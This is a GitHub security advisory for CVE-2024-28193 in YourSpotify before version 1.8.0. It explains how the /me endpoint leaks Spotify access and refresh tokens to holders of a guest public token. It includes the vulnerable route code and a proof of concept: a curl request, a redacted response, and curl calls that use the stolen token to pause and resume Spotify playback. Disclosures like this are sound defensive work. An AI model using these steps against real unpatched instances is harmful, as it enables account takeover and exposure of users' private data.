Skip to content

Disclosure of Spotify API Access Tokens to Guest Users Using Public Tokens

Moderate
Yooooomi published GHSA-3782-758f-mj85 Mar 13, 2024

Package

No package listed

Affected versions

<1.8.0

Patched versions

1.8.0

Description

Summary

YourSpotify version <1.8.0 allows users to create a public token in the settings, which can be used to provide guest-level access to the information of that specific user in YourSpotify. The /me API endpoint discloses Spotify API access and refresh tokens to guest users. Attackers with access to a public token for guest access to YourSpotify can therefore obtain access to Spotify API tokens of YourSpotify users.

As a consequence, attackers may extract profile information, information about listening habits, playlists and other information from the corresponding Spotify profile. In addition, the attacker can pause and resume playback in the Spotify app at will.

Details

YourSpotify allows users to create a public token in the settings, which can be used to provide guest-level access to the information of that specific user in YourSpotify. The public token can be used by appending the ?token=<the-public-token> parameter to frontend or backend calls. These public tokens are intended to be shared with a wider audience to let anyone with access to the token look at, but not modify, the data in the YourSpotify instance.

Not all backend endpoints are accessible to guest users using public tokens. However, the /me endpoint is available using a guest token and no other form of authentication. The response sent by the /me endpoint contains Spotify API access tokens and refresh tokens. Details can be found in the proof-of-concept below.

The root cause of this issue is that the implementation of the /me endpoint simply returns the full User object as it is stored in the MongoDB database without removing any sensitive fields, or better yet, only selectively extracting the required fields for the response. The corresponding code can be found in route /me in server/src/routers/index.ts:

router.get('/me', optionalLoggedOrGuest, async (req, res) => {
const { user } = req as OptionalLoggedRequest;
if (user) {
return res.status(200).send({ status: true, user });
}
return res.status(200).send({ status: false });
});

The available fields in the User object can be found in interface User in server/src/database/schemas/user.ts:

export interface User {
_id: Types.ObjectId;
username: string;
admin: boolean;
spotifyId: string | null;
expiresIn: number;
accessToken: string | null;
refreshToken: string | null;
lastTimestamp: number;
tracks: Schema.Types.ObjectId[];
settings: {
historyLine: boolean;
preferredStatsPeriod: string;
nbElements: number;
metricUsed: 'number' | 'duration';
darkMode: DarkModeType;
timezone: string | undefined;
blacklistedArtists: string[];
};
lastImport: string | null;
publicToken: string | null;
firstListenedAt?: Date;

Proof of Concept

The following example curl command sends a request with a public token to the /me endpoint:

curl "http://backend.yourspotify.internal:8080/me?token=6f4f79d6-b957-4487-8d97-23569b6e7935"

The (formatted and redacted) JSON response to this command is shown below:

{
  "status": true,
  "user": {
    "settings": {
      "historyLine": false,
      "preferredStatsPeriod": "month",
      "nbElements": 10,
      "metricUsed": "number",
      "darkMode": "follow",
      "blacklistedArtists": []
    },
    "_id": "65ce739fca48dd258976a58a",
    "username": "<REDACTED>",
    "admin": true,
    "spotifyId": "<REDACTED>",
    "expiresIn": 1708119315677,
    "accessToken": "<REDACTED>",
    "refreshToken": "<REDACTED>",
    "lastTimestamp": 1708116272907,
    "lastImport": null,
    "publicToken": "6f4f79d6-b957-4487-8d97-23569b6e7935",
    "__v": 0,
    "firstListenedAt": "2024-02-15T15:03:15.946Z",
    "id": "65ce739fca48dd258976a58a"
  }
}

The fields accessToken and refreshToken are particularly interesting to an attacker, as these contain the actual access tokens and refresh tokens for the Spotify API (as in the real Spotify, not YourSpotify). An attacker can then use this access token to access all Spotify API endpoints YourSpotify has access to.

For example, the following curl command can be used to pause playback in a currently running Spotify session:

curl -X PUT \
     -H "Authorization: Bearer <REDACTED accessToken>" \
     "https://api.spotify.com/v1/me/player/pause"

The following command can be used to resume playback:

curl -X PUT \
     -H "Authorization: Bearer <REDACTED accessToken>" \
     "https://api.spotify.com/v1/me/player/play"

These calls are only intended as proof-of-concept examples. The tokens allow access to all Spotify API endpoints YourSpotify is authorized to access.

Impact

YourSpotify exposes sensitive data, including Spotify API access and refresh tokens, to guest users that only have access to YourSpotify public tokens. Users do not expect that sharing their YourSpotify public token (which is intended to be shared) provides potential attackers access to actual Spotify API tokens.

As a consequence, attackers may extract profile information, information about listening habits, playlists and other information from the corresponding Spotify profile. In addition, the attacker can pause and resume playback in the Spotify app at will.

Severity

Moderate
6.5
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

CVE ID

CVE-2024-28193

Weaknesses

Credits